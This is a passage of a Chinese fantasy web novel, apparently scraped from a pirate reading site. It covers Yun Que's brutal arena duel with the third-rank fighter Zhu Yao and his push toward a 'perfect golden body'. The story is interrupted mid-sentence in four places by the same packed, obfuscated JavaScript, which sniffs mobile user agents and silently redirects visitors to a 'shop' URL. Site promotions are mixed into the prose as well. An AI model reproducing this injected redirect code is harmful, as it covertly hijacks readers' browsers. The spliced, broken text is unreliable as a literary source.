“是不是假的归真,你试试不就知道了!就怕你只会做那缩头乌龟,不敢一战! 嘭!! 朱幺往前一踏步,地面被踩出一片龟裂,整个人犹如闪电般冲出! 面对三品归真强者的全力出手,云缺目光愈发清明,周身气机运转到极致。 “既然你想战,那便战个痛快! 低喝中,云缺再次施展出影身之法。 擂台上出现了两个云缺一人拍出奔雷掌一人轰出烈焰拳硬撼三品! 自从朱幺打算毁掉少年城毁掉化境入口云缺就没了退路。 在完美金身与母亲之间云缺会毫不犹豫选择后者。 家人是云缺的执念亦是底线! 完美金身可以不要少年王也可以不要但是母亲必须要救回来! 朱幺凌空跃起一拳砸下。 拳风居然化作一头恶虎呼啸而至! 归真强者的全力出手看得周围众人瞠目结舌浑身发冷。 这一拳之力的恐怖四品破军可打不出来! 拳如恶虎! 轰鸣声在下一刻暴起。 云缺的奔雷掌与赤炎拳虽然声势不弱却在恶虎之下顷刻间消散。 雷光溃散烈焰熄灭两个云缺各自被震飞炮弹般砸向擂台两侧。 接着又是两声轰鸣! 擂台完全被朱幺封印四周犹如立起了一层无形的壁垒撞击之后空间会出现一片波纹。 云缺的两道身影从无形墙壁上滑落站立不稳跌倒在地。 其中一个云缺的身影变得模糊起来很快便彻底消散。 朱幺的一拳之力直接将一道影身砸碎! 云缺的本体也不好受 看到云缺在人家一击之下便被重创柳真真等人惊呼起来纷纷劝说。 “别打了云缺!你不是朱幺的对手!少年王让给他你快认输!” “认输保命啊云兄弟!你该不会要学那二皇子被人打个半死吧!” “师兄放弃吧!打不过三品的!你已经够强了!在我心里师兄就是少年王!” “留得青山在不怕没柴烧!再打你会死的!何必想不开!” 对于台下熟人们的劝慰云缺充耳不闻。 既然选择动手云缺就没打算认输更没打算再喊救命! 脸可以不要。 骨气不能丢! 况且云缺绝非要送死。 面对三品破军云缺可不是旁人所认为的那般毫无胜算。 其实云缺并不惧怕三品。 之所以不想打是因为完美金身这份拖累。 现在云缺已经不在乎完美金身了,打到如今,云缺早就有了随时迈入五品的能力。 只要云缺想进阶,只需瞬间即可成为五品金身境的武夫。 普通的五品金身虽然远远不及完美,但战力绝非六品宗师可以比拟,云缺所有的武道功法都可威力暴增。 到时候妖刀也就不再受到限制,可以随意动用。 以云缺的战斗经验,以五品修为对战四品并非难事。 如果再全力动用妖力,甚至不惜让月魁掌控身体,即可拥有对战三品归真的力量。 妖魂,始终是云缺最后的底牌。 只是这份底牌,云缺现在还不想动用。 因为完美金身的契机还在,并未彻底消失! 抹掉嘴角的血迹,云缺艰难的站起身。 影身被毁,本体被伤,云缺非但不惊,反而笑了起来。 在柳真真等人看来,云缺是在无奈苦笑,对手的强大,令他无法匹敌。 但云缺的笑意却是发自内心的高兴。 因为云缺在硬撼朱幺一拳之后,终于验证了一点。 自己的这副肉身,勉强能抗住三品之力! 四阶大妖程度的肉身本体,之前云缺没有多少把握,所以才硬撼一击用来当做测试。 别看被打掉了影身,更被打得差点吐血,好在筋骨与内脏并无大碍。 如此一来,云缺就有了全力施展的机会。 以云缺估计,朱幺如此程度的攻击,自己应该能接十次。 十次,是极限。 也就是说,只要被朱幺打中十拳,即便肉身堪比四阶大妖,也会骨断筋折,内脏尽毁! 十次,足够了…… “力气不小,再来比过! 云缺大笑一声,催动影步,再次凝聚出一道分身。 这次云缺没动用奔雷掌与赤炎拳,两道身影完全以影步和影拳出手,如鬼魅一般,在擂台上快速挪移。 朱幺冷哼一声,脚下掠动,追着云缺猛打。 他的速度没有云缺的影步快,但是力量完全碾压云缺。 朱幺施展的拳道名为开山拳,一拳既有开山之力,全力出手之下足以轰塌一座高山! 三品归真之力,在擂台上展现无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387341|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遗。 开山拳确实恐怖,每一拳都可轰出一头猛虎拳风,气势惊人,看得四周众人心惊肉跳。 但是拳力再猛,打不到敌人,只能平白耗费力气。 朱幺接连轰出上百拳,只打到了云缺一拳,加上最开始云缺硬抗的那一次,也只有两拳而已。 把朱幺气得不轻,越打越来气。 最后暴跳如雷,哇哇怪叫! 归真强者确实厉害,这一点无需质疑,若是正常情况下,朱幺想要干掉一个六品宗师,不用多,一拳即可。 因为归真的天赋能力是可以禁锢空间,别说六品宗师,五品金身也难以挪动脚步。 哪怕四品破军陷入归真强者的领域当中,速度也会被极大削弱。 可空间禁锢偏偏对云缺无效! 云缺身上如山的煞气可以完美抗衡住归真的禁锢之力,达到毫无影响的程度。 而且云缺的影步已经娴熟到一个极高的地步,朱幺虽然是三品不假,想要追上影步的挪移属实有点难。 加上朱幺本就没修炼过身法,速度,是他的弱项。 如此一来,想要短时间内干掉云缺,就变得费力起来。 最让朱幺恼火的是,即便云缺挨了一拳,也能继续作战,并未留下太多的伤势。 煞气,身法,加上强如大妖的肉身,成为了云缺能与三品强者周旋的关键条件。 当然云缺不仅只是周旋,在施展影步的过程中,影拳频频往朱幺的影子上招呼。 商暮有能力动用法术形成光源,来极大程度的遏制影子的范围,朱幺可不会法术! 他的影子始终存在于地面,随着他本体的移动而不断改变方位。 最初朱幺根本没在乎云缺的影拳。 以他三品归真的强悍本体,来自六品宗师的拳法基本如挠痒痒一般,毫无效果。 别说影拳, 即便云缺动用出轰杀常慎行的雷炎开山,朱幺也毫不在乎。 但是打着打着,朱幺开始关注起自己影子的方位,并且随时防备着云缺的影拳。 因为影子这种东西看着普通,没什么要害,但影子的主人有要害啊! 云缺的影拳,专门往影子的下三路招呼,尤其影子的胯下是必攻之处。 挠痒痒,朱幺不怕。 但是在他胯下挠痒痒,朱幺也觉得心惊肉跳。 谁知道会不会挠着挠着,给挠掉点什么零件。 擂台上的恶战,看似险象环生,实际朱幺打得极其憋屈,有一种施展不开的感觉。 如今的局面,好比下河抓鱼。 朱幺这个老渔民,什么大鱼都难逃其手,打鱼打了多年从未失手,可唯独抓不住泥鳅。 朱幺又气又恨。 对云缺这种泥鳅般的存在,一时间无可奈何。 任凭他有开山之力,人家无比油滑,每次都能躲开。 眼看着云缺又以影步挪移而来,朝着影子的下盘出拳,朱幺急忙合拢膝盖,来了个八字腿将要害护住。 同时一记开山拳轰向云缺。 好消息是,这次打中了。 坏消息是,打中了影身。 随着影身破裂,云缺的本体出现在朱幺身后,手刀扬起,断刀式悍然斩落! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第585章 裂地为蟒 之前云缺一直在打影子,从未对朱幺本体动手,让其出现一种习惯,渐渐忽略了本体的防御。 这次突然攻击本体,给朱幺来了个冷不防。 朱幺在大意之下,连忙用双臂护在脑后,硬抗这一击。 一声轰鸣炸起。 云缺的手刀,斩在了朱幺手臂上,断刀式所形成的力道将其斩得踉跄了一步。 但没有任何伤口! 三品归真强者的气机之强,已经融入到本体,形成了恐怖的防御力,手刀无法斩动朱幺。 云缺在心里叹了口气。 果然,三品归真的强大,远非自己能匹敌。 手刀虽然斩不动朱幺,云缺却用手上的余力,拍中了朱幺的头顶。 啪! 一声脆响。 朱幺的头发飞起,被结结实实拍了个脑盖。 尽管不疼不痒,却足够丢人。 尤其朱幺如今的模样,并着膝盖八字腿,又用双手抱着头,那样子犹如被打哭的顽童,要多可笑有多可笑。 台下的人群里传来哄堂大笑。 不过笑声刚刚响起,就被发笑之人硬生生给压了下去。 嘲笑三品,那不是找死么! 可笑声已经出来了,朱幺听得一清二楚,气得他暴跳如雷。 “找死!你找死!” 朱幺猛然回身,恶狠狠盯着云缺道:“想当泥鳅是吧,好!我便毁了池塘,看你这小泥鳅往哪藏身!裂地拳!!!” 朱幺抬起右臂,猛地砸向地面! 轰隆隆!!!!! 一拳之力,宽敞的岩石擂台直接被砸出个大坑! 从朱幺的拳头四周,大片的裂纹蔓延开来,顷刻将擂台地面彻底包裹。 云缺目光一沉。 对方的这一拳实在古怪,不打人,专门打地面。 以三品归真的拳力,这一拳可以直接将擂台摧毁,偏偏朱幺只砸出个坑来。 事出反常必有妖,云缺加上了小心,准备随时以影步躲避。 砰!砰!砰! 裂响声持续不断。 地面的一条条裂痕忽然冒起黑气,变化成一条条黑蟒! 数以千计的黑蟒在擂台上穿梭不停,每一条黑蟒都是朱幺的拳力所 化。 云缺终于明白了何为裂地拳。 裂地为蟒! 大地并未碎裂而是以强大的拳法来形成大范围的拳风轰杀大片敌人! 这种大范围的拳道又是三品之力威能极其恐怖。 影步接连施展云缺险之又险的躲避着黑蟒。 怎奈黑蟒的数量太多云缺挨了两击嘴角再次溢血。 黑蟒很快消散擂台上恢复了宁静。 云缺的身影挪移到距离朱幺最远的地方大口喘气。 长时间的施展影步与影拳还要动用影身消耗极大。 朱幺哈哈大笑道: “怎么样归真之力可还受得住?你还真耐打啊没关系老子的气力有的是!根本用不完!咱们再来!” 朱幺找到了对付云缺的手段再次动用出裂地拳。 云缺的处境变得愈发凶险。 擂台上黑蟒乱窜拳风四溢。 擂台下的众人看得提心吊胆。 白誉满头冷汗鸿影紧张得浑身颤抖柳真真俏脸惨白史得侩瞠目结舌马至远紧张不已 比起其他人的紧张与震惊左兰山心里更多的是疑惑。 驸马所展现出的武道造诣远远超出了左兰山的预料能与三品归真打得有来有往不说结局如何坚持到现在足以堪称奇迹! 要知道云缺只是个六品宗师啊! 左兰山对修炼一途的理解远远超过其他人左兰山这辈子见过的修炼奇才没有一千也有八百。 而修炼奇才都有一个共同的特征。 无一例外从小都会展现出惊人的天赋! 驸马的天赋之强左兰山生平仅见而这种天赋若从小开始打熬修炼加上大唐皇族的珍宝供给二十岁之前至少也得是五品巅峰甚至四品破军都有可能。 怎么堂堂大唐太子武道天赋如此惊人现在却还是六品宗师呢? 莫非他不是唐太子…… 左兰山心里浮现出这个念头不过很快又被他自己否定。 左兰山想到了原因。 之所以唐太子境界如此弱一定是因为完美金身人家多年不进阶就是为了 冲击完美才拖到现在。 想通之后,左兰山暗暗点头。 大唐太子果然忍耐力惊人,宁可在低阶境界徘徊多年也要保留冲击完美的契机。 左兰山的这点敬佩,其实都是他自己的脑补。 云缺为啥这么多年才六品,原因就一个字,穷! 穷困潦倒的猎妖人,哪有天材地宝去冲击境界。 台下的人群里,心情最复杂的要数田锺。 现在田锺终于知道了云缺的身份,原来人家是大秦的驸马爷!大唐太子! 田锺在佩服之余,感慨万千。 还得是人家唐太子啊,一边公主,一边城主,左手美人右手还是美人,简直令人羡慕。 可羡慕归羡慕,云缺此时的处境可不大好,正被朱幺抓住猛捶。 田锺在心里叹了口气,发誓自己以后肯定只娶一个,绝不娶第二个,瞧瞧,唐太子这种风流之人的下场,多么凄惨,简直是报应…… 随着不断的轰鸣,云缺以雷炎拳道崩开了朱幺的大手,以影步拉开距离。 此时的云缺,变得狼狈不堪,浑身是血。 一身锦袍几乎被打碎。 云缺的心脏跳得很沉,呼吸更沉,眼前开始出现模糊。 已经到极限了…… 从动手以来,云缺被朱幺打中了九次。 这九次,已经将云缺重创,筋骨几乎要碎裂,内脏也到了破碎的极限。 再挨一拳,怕是挺不住了! 此刻云缺对于死亡的感觉,无比清晰,仿佛能看到牛头马面就等在擂台之下,等着将自己拉入地府。 云缺心里没什么惧怕,反而有些茫然。 与三品归真将近一个时辰的恶战,云缺已经将所有武道发挥到极致,境界大门也被彻底推开。 云缺能清晰感受到五品之力,就在自己的心头涌动。 可大门之内传来的,只是普通的五品气息,没有任何提升,与其他五品金身没有任何不同。 朦胧中,云缺眼前出现了那扇高大的境界之门。 可门内,却是普通的风景。 就像费尽全力砸开了一户豪商家的大门,结果发现门里只是普通人家,没有金银,更没有异宝。 如此反差,让 云缺的心境出现了迷茫。 完美金身到底在何处? 难道我推开的不是完美之门而是普通五品金身的大门? 云缺越发茫然犹如迷路的孩子。 朱幺看到了机会 拳风所化的恶虎与黑蟒融为一体变幻成一头漆黑的恶蛟! 轰隆隆!!! 恶蛟呼啸而至惊醒了云缺。 云缺动用影步结果在挪移途中便被狂暴的拳风给轰了出来。 这一击结结实实的打在云缺身上。 在台下众人的眼里云缺直接被拳风所化的恶蛟所吞没! 数以万计的少年们此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399977|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐齐屏住呼吸一眼不眨呆愣愣的盯着擂台。 当黑风散去云缺的身影呈现而出。 趴在擂台上浑身是血一动不动。 不知死活。 “呸!” 朱幺拍掉手上残余的拳劲鄙夷道:“泥鳅永远是泥鳅放掉水一抓一个准儿!” 台下 白誉鸿影等人变得面如死灰。 “师兄……被打死了……”鸿影哀声道。 “不会不会的……”白誉不敢相信自己的眼睛。 云缺能将大唐皇宫闹得鸡飞狗跳怎么会轻易死掉呢! 柳真真觉得心如刀绞她想嫁的人居然死在自己面前。 大皇子赢财惊疑不定的道: “不会真被打死了吧?丞相这黑锅你得背!没有我的事儿我想救也救不下来!” 左兰山沉声道: “没死还有一口气。” 云缺的确没死但是已经被重创得难以动弹。 若非本体强悍到堪比大妖的程度换个四品破军也早被活活打死! “咦?还没死呢。” 朱幺狞笑着捏起了拳头道:“好办老子这就送你归西!” 不等朱幺动手左兰山已经迈动脚步踏空而行走向擂台。 朱幺瞄了眼踏空而来的丞相立刻大吼道: “你们大秦要干什么!耍赖不成!擂还没打完呢你们要是插手大秦的脸面彻底没了!不仅天 下少年不服,天下所有修行者全都不服你们大秦!” 左兰山冷声道: “胜负已分,做人留一线,日后好相见,你若赢了还想杀人,老夫会先将你扼杀于此。” 随着丞相的冷语,左兰山身上涌动出一股恐怖的气息! 这股气息之强,连朱幺都不由得后退了一步。 就在丞相即将登台救回驸马之际,云缺的手忽然动了,抓住地面上的一条裂痕。 沙哑虚弱的声音缓缓响起。 “我……还没输呢……” 小说的域名qiexs?(请来企鹅 小说 看最新章节 完整章节) 云缺摇摇晃晃的爬了起来。 气息微弱得几乎不复存在,眼瞳昏暗,看不到半点光泽,如果不说话根本与死人无异。 左兰山的脚步就此顿住,这位丞相皱着眉,一语不发。 左兰山想不通云缺为何还要战,明明不敌,再打下去只有死路一条。 但擂台既然尚未结束,左兰山也不好横插一手,否则大秦会被天下少年诟病。 呼…… 云缺吐出一口浊气。 眼前几乎看不到人了,分辨不出朱幺在何处。 但是云缺始终能看到那面境界大门,与大门里普普通通的景致。 云缺已经身受重创,唯一的机会,只有进阶五品。 哪怕只是普通五品金身,也有翻身的机会。 完美金身,在云缺看来已经与自己无缘。 面朝着境界大门,云缺艰难的迈出一步,想要就此跨进门中,成为普通的金身境武夫。 唯有如此,才能与三品真正的一战! 可云缺抬起的脚,即将迈进门内之际,忽然顿在半空。 云缺想起了一句话。 来自吴命。 ‘直至失去国度,失去家园,失去修为与尊严,失去了一切之后我才明白,我原本拥有的,只有这一具肉身罢了,而完美金身所需要的,也只是一副肉身,所有外物,都是多余的东西。’ 多余的东西…… 云缺呢喃着这五个字,一丝明悟,如同闪电般炸起在脑海! 第586章 门后的山 擂台上出现了短暂的平静。 云缺起身之后,虽然模样摇摇欲坠,却不曾再次倒下。 朱幺面带冷笑,他倒是不急着动手。 云缺显然到了油尽灯枯之际,随便一拳即可击杀。 丞相左兰山停在半空,面带不解之色,想不通为何云缺还在坚持,没有了反击之力,再坚持也无法获胜。 台下的人们紧张不已。 许多人满头冷汗,仿佛台上比斗的不是云缺,而是自己,都在替云缺捏着一把汗。 所有人的注意力,全部集中在决战的擂台,无人例外。 即便看管冥欢的少年修士也都聚精会神的盯着擂台,并未发现冥欢脚下的变化。 原本冥欢被铁链吊了起来,距离地面半人多高,此刻冥欢脚下却出现个小土包。 细小的沙土缓慢汇聚,将小土包堆得越来越高,几乎抵达了冥欢脚下。 趁着擂台上的比斗越发激烈,冥欢动用妖族天赋,即将脱困。 只要它的脚能碰到地面,即可逃之夭夭。 为了不引起旁边看守的注意,冥欢也学着别人一样盯着擂台,心里在嘀咕: 一群傻瓜只会看热闹,看吧看吧,等会儿你们全都得没命! 大秦一方。 大皇子赢财正聚精会神的盯着擂台,一旁有近卫抬着担架返回,担架上躺着二皇子赢皓。 “怎么回事?你们怎么又回来了?耽搁了二弟疗伤,你们统统死罪! 一个时辰前,他便吩咐手下将赢皓送回皇城治疗,结果军兵们又折返,根本没回天龙城。 为首的近卫苦着脸道: “殿下息怒,我们护送二皇子出城,结果出不去了,少年城的城门外有很强的禁锢之力出现,我们四个门都试过,全都不通,这才返回请示。 赢财顿时一皱眉,道: “出不去?你们可曾发现有人暗中阻拦? 近卫如实道: “没人,城门处空空如也,我们试着以法力与武力破解,均都无效,就是出不去城。 赢财疑惑道: “怪事,谁在阻拦二弟,莫非少年城的人暗地里使绊子,不想让赢皓回皇城疗伤? 一旁的赢人志 道: “二哥与少年城的人没什么仇怨,二哥是个酒蒙子,不干坏事,又不是大哥,少年城要使绊子也该朝着大哥来才对。” 赢财脸色发黑道: “三弟呀,就你会说话,我有那么坏么。” 赢人志尴尬道: “还好吧,反正肯定比二哥坏得多,大哥无需担心,城门封印应该是人家少年城开启了法阵,这种少年擂的关键时刻,肯定得防范周全,免得外人来捣乱。” 赢财点了点头道: “估计是少年城开启了护城法阵,二弟伤势不轻,不能久留,等丞相回来,让丞相出手破开封印,先送二弟回去。” 左兰山此刻站立在擂台外的半空,观战少年擂,赢财没去立刻告知,毕竟不差这么一会儿的时间,比起重伤的二皇子,驸马都快被人家打死了。 还是擂台上的局面更急迫一些。 大皇子吩咐近卫将赢皓放在自己身旁,他继续盯着擂台。 此时的擂台上,变得十分诡异。 云缺摇摇欲坠,朱幺冷笑连连,双方保持着十丈左右的距离,谁也没动手。 轰隆隆…… 原本的淅沥小雨,逐渐变成倾盆大雨。 天地间一片昏暗。 而云缺,此时身处于更加昏暗的境地。 强大得无法匹敌的对手,即将失去的少年王,与擦肩而过的完美金身。 无法成为少年王就无法统御少年城,失去这些难得的少年修士,就没有足够的兵力回援天祈。 一旦让朱幺成为少年王,天澜宝境二重的入口会被毁掉,也许这辈子再也无法见到母亲。 错过完美金身,只能成为普通的金身武者,此生再难有攀登一品的机会。 哪怕成为普通的金身,全力动用了妖魂之力,胜算依旧不大,月魁的确是三阶妖王,但月魁已经失去了妖身,即便云缺不顾本体完全妖化,对上一位全盛的三品归真,也未必能赢。 最后的一局少年擂,让云缺心里生出了一种沮丧。 毕竟云缺也是少年,又不是圣人,不可能没有其他少年的情绪。 失落,沮丧,懊恼,不甘,甚至迷茫…… 在云缺决定踏入普通金身境的那一刻,一连串的负面情绪 接踵而至。 猎妖人也是人也有七情六欲。 云缺不是无情的石头 他其实与天下间的所有少年人一样有时热血有时蔫坏有时冲动有时后悔。 而云缺与天下少年又截然不同的一点是他有更加强烈更加炽热更加执着的不屈之心! 迈向大门的脚被云缺收了回来。 望着境界大门内的普通风景云缺忽然笑了起来。 既然完美金身并非传说而是有人已经达到过的境界凭什么我不能跨进完美! “多余的东西……” 云缺此刻出现了明悟。 吴命所说的多余的东西指的是所有外物比如刀剑比如灵符比如护甲比如妖力。 可是云缺却想通了一点吴命对于完美金身的理解并非全部。 多余的东西的确是很多外物但也有内在的东西。 比如期待比如迷茫比如遗憾与沮丧。 谁能说这些情绪又何尝不是多余的东西呢? 自从三天前登上少年擂开始云缺始终期待着完美金身 说的域名qiexs?(请来企鹅小 说 看最新章节 完整章节)并且信心十足要以擂台之战将自身淬炼到足以迎接完美金身的程度。 三天的擂台战云缺做到了。 如今的战意已经足够高昂所学的武道也攀升到极致甚至完全推开了境界大门。 可是门内却并非完美之境。 云缺始终缺失了一些达到完美的真正条件。 而这份条件来自于内心。 明悟之后云缺没有丝毫高兴也没有半点遗憾而是变得心如止水。 眼前没有朱幺也没有擂台只有那面高大又普通的境界之门。 “这不是完美之门而是普通的金身大门罢了只不过比普通的金身要强大一些我不稀罕……” 云缺低语中抬起左手缓缓在面前抹去。 哗啦啦…… 碎裂的声音在耳畔出现。 高大的金色大门如同梦幻泡影般碎裂成虚无。 擂台上的云缺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399978|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同样做出以手抹去东西的状态看得其他人莫名其妙猜不出云缺在抹去什么。 很多人认为云缺已经处于恍惚的状态连对手都看不到了 ,更别提继续再战,不用朱幺出手,云缺就得自行倒下。 一些云缺的友人悲从心来,对云缺的下场不报任何希望。 不用多,只需要朱幺再砸出一拳,云缺就得魂归地府。 白誉眼圈发红,这位唐太子怎么也想不通,为何云缺要坚持到如此地步。 然而恍然间,白誉忽然明白了。 他想起了朱幺曾经要毁掉少年城,毁掉宝境二重入口的说法。 原来,云缺宁死也要站在擂台,是为了营救母亲的最后机会! 一滴眼泪顺着唐太子的面颊滑落。 鸿影更是痛哭流涕, 他年纪太小,本就没几个亲人,没见过生离死别,云缺在他心里就是亲师兄。 眼见师兄即将战死在擂台,鸿影痛不欲生,恨自己没能力去帮师兄,别说对战三品,他的修为连擂台都登不上去,就会被三品的禁锢之力崩飞。 段无病暗暗叹息, 他有点想不通,明明云缺是学宫里最为桀骜的一个,连天祈学宫都能闹得鸡飞狗跳,怎么今天如此倔强,非要去战三品,去战一个不可能战败的对手。 柳真真与史得侩等人更是大喊起来,想要唤醒云缺,让云缺赶紧认输下来,要不然肯定死在擂台。 商暮与商福则满心疑惑,想不通为何云缺不动用妖力。 同为妖武者,没人比商暮商福更了解妖力的用处,只有释放出强大的妖力才能将战力大幅提升,如果单单以本身实力对战,那妖武者的优势岂不是荡然无存。 立在半空的丞相左兰山,一双老眼开始晃动起来。 别人眼里的云缺,是摇摇欲坠,即将倒下的败者,彻底失去了再战之力。 然而在左兰山眼里,云缺的身上正起伏着一种玄奥的气息。 那是即将冲破境界桎梏的气息波动,虽然微弱得难以察觉,却逃不过大秦丞相的感知。 左兰山的目光愈发疑惑起来。 在他看来,云缺只要一个念头即可成为五品金身,哪怕不是完美金身,也好过如今的六品宗师。 人家能以六品修为就与三品归真周旋了半晌,提升到五品之后,实力暴增数倍,或许还有一战之力。 可云缺身上的进阶气息明明存在,却迟迟没有蔓延,就好像云缺手边放着一把好剑,人家却不肯拿起来。 左兰山能清晰察觉到,云缺的进阶气息并非完美,只是普通的五品,他由此断定云缺失去了冲击完美的机会。 但左兰山毫不意外。 毕竟完美金身太过稀少,世间根本没有几个,天下所有武夫都想冲击完美金身,成功者屈指可数。 失败,才是正常现象。 左兰山想不通的是,明明已经失去了完美的机会,云缺为何还要固执的不去进阶。 他在等什么? 观战的人们神态各异,有人哭,有人叹,有人惊恐,有人疑惑。 而云缺此时,却渐渐笑了起来。 代表着普通金身境界的大门碎裂消失之后,云缺眼前,出现了一座巍峨高山! 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第587章 叫爷爷 将心里所有的情绪尽数消弭,云缺以纯粹到极致的心神,终于看到了不同的画面。 高大的境界之门坍塌,取而代之的,是一座云雾缭绕,接天连地的高山! 山脚下的云缺,宛如一只小小的蚂蚁。 擂台上,云缺嘴角挂着奇怪的笑意,抬头看着天空。 如此举动,看得周围众人惊奇不已。 人们纷纷抬头,顺着云缺的目光看去,头顶只有黑压压的乌云,与漫天大雨。 除此之外,别无他物。 他在看什么? 这个疑问出现在所有人的心头,甚至连丞相左兰山都抬起头望向高空。 云缺所见的画面,只属于他自己,外人自然不得而见。 对于眼前的高山,云缺知道是什么。 山,才是真正的境界之门! 完美金身所需要跨越的存在! 之前的金色大门不过是假象而已,看不透假象的人,岂能妄称完美! 云缺仰着头,遥望缥缈的山顶,心如止水。 一切的情绪,在这座境界高山面前全是多余的东西,但凡有一丝杂念,这座山便会彻底消失。 而登上山顶所需的唯一东西,便是战意! 唯有无穷战意,方可攀登完美之山! 云缺心里一片明悟。 这便是先生说过的,唯有站在山顶,才能看到远处的风景。 “姐,我要登山了。” 云缺低声呢喃。 攀登这座山,除了神魂中纯粹的战意之外,本体也需要被战意填满。 心神合一,是登山的关键! 云缺的本体已经到了油尽灯枯的状态,再去战朱幺,必死无疑。 可不战的话,又无法登上山巅。 这是一场生死抉择。 成功,便成完美金身。 失败,只能成为尸体。 云缺可不想死,所以需要月魁相助,无需妖力,而是血狸一族的复生天赋。 “一座破山,有什么好登的!一天天的什么都好奇,什么都要争,就不能老老实实的当个普通人?我真是倒了八辈子血霉,才能跟你做姐弟!” 月魁埋怨过后,语气变得轻柔起来,幽幽道: “你想 登山便去罢,谁让你是我弟弟呢,我是你的刀,也是你的命…… 云缺洒然一笑,迈开大步,开始登山。 神魂在登山,本体也开始前行。 擂台上,云缺踉跄着迈动脚步,走向朱幺。 垂下的双手,渐渐的握紧成拳! 踉跄的脚步,决然得一往无前! 朱幺看乐了,怪笑道: “嘎嘎!你小子真有种啊,都快被打死了还敢跟我动手,有骨气!不过骨气这种东西,没什么用,骨气越多,你死得越快! 朱幺现在都懒得动手。 以云缺如今的模样,即便不动手都快咽气了,强撑着往前走,不过是吊着一口气而已,别说对战,一阵风都能刮走。 云缺一步又一步前行的状态,很快惹怒了朱幺。 “好好好!还没打够是吧,那咱们再来!老子站着不动,你要是能碰到我一根汗毛,我管你叫爷爷! 朱幺说罢豁然出拳。 开山拳轰鸣着汇聚出一头恶虎拳气,直接砸在云缺身上。 以云缺如今的状态,对于朱幺的拳气已经躲不开了,整个人被恶虎扑中,直接被打飞。 再一次,云缺跌落在血泊当中。 四周一片惊呼! 人们都认为云缺已经死了,如此虚弱的状态,还要强行对战,不是找死又是什么。 直至云缺晃晃悠悠又站了起来的时候,周围的所有人全都变成瞠目结舌。 不仅震惊着云缺这副本体的强悍程度,更加震惊着支撑云缺站起来的强大意志。 当云缺继续迈动着虚弱的步伐,一步步走向朱幺的时候,台下有人振臂高呼。 “云缺加油!打他一拳!让他叫爷爷! 接着越来越多的人开始振臂高呼,喝声起伏不断。 “打一拳!打一拳就行! “打他一拳就赢了! “加油啊!我们帮你使劲儿! 震天的呼喝,全在为云缺呐喊助威。 少年擂的决战,变成了另一番模样,人们不在期盼云缺能赢过朱幺,因为战胜三品根本不可能。 人们只是在期盼着云缺能打中朱幺一拳! 哪怕只有软绵绵的一拳,也将成为真正的无冕 之王! 鸿影扯着破锣般的嗓子大吼白誉流着眼泪大声鼓劲儿柳真真眼圈通红的大喊着史得侩哇哇怪叫连商福都举着拳头替云缺呐喊。 商暮白了她哥哥一眼将目光转向擂台上的云缺。 在场有数十万人之多而真正的妖武者只有两个。 没人比商暮更加了解妖武者 那是堪比妖兽的强大武夫以妖血为力狂暴之后能发挥出恐怖的威能。 商暮确信云缺也是妖武者但她只看到云缺那股子妖血武夫的凶悍却看不到妖血武夫的战力。 空有凶悍又能如何没有相对应的战力一切都白搭。 商暮觉得越来越无法理解云缺的举动为何不动用妖力拿出妖武者专属的武器作战呢? 御史大夫马至远的浑身在微微颤抖他终于从云缺身上看到了他这些年所失去的东西。 是执着! 是一往无前的信念! 左兰山一时间愣怔在半空 这位大秦丞相彻底被云缺的举动所震撼左兰山认为自己古井无波的心神这辈子不会再有任何事会令他震惊可此时的云缺却让他陷入巨大的震惊当中。 左兰山的目光变得有些恍惚他仿佛看到了多年前同样一往无前的秦皇! 在震天的呼喝声中云缺一步步接近朱幺。 朱幺已经笑不出来了他现在开始愤怒! 在朱幺看来云缺就像蚍蜉撼树中的小小蚂蚁孜孜不倦的想要击倒大树。 愤怒的朱幺再次扬起了重拳! 他这次没有打出恶虎拳气而是实打实的隔空一拳。 嘭!!! 硕大的拳印出现在云缺面前。 云缺没有躲避的力气只能勉强抬起双臂抵挡。 这一击再次让云缺倒退了数步。 归真强者的拳力 即便如此云缺仍旧迈动脚步继续前行! 嘭!!! 朱幺继续出拳。 这次是接连三拳! 云缺完全以双臂抵挡手臂的白骨出现了无数裂痕。 归真的强大以云缺这副本体也难以抵抗堪比四阶大妖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 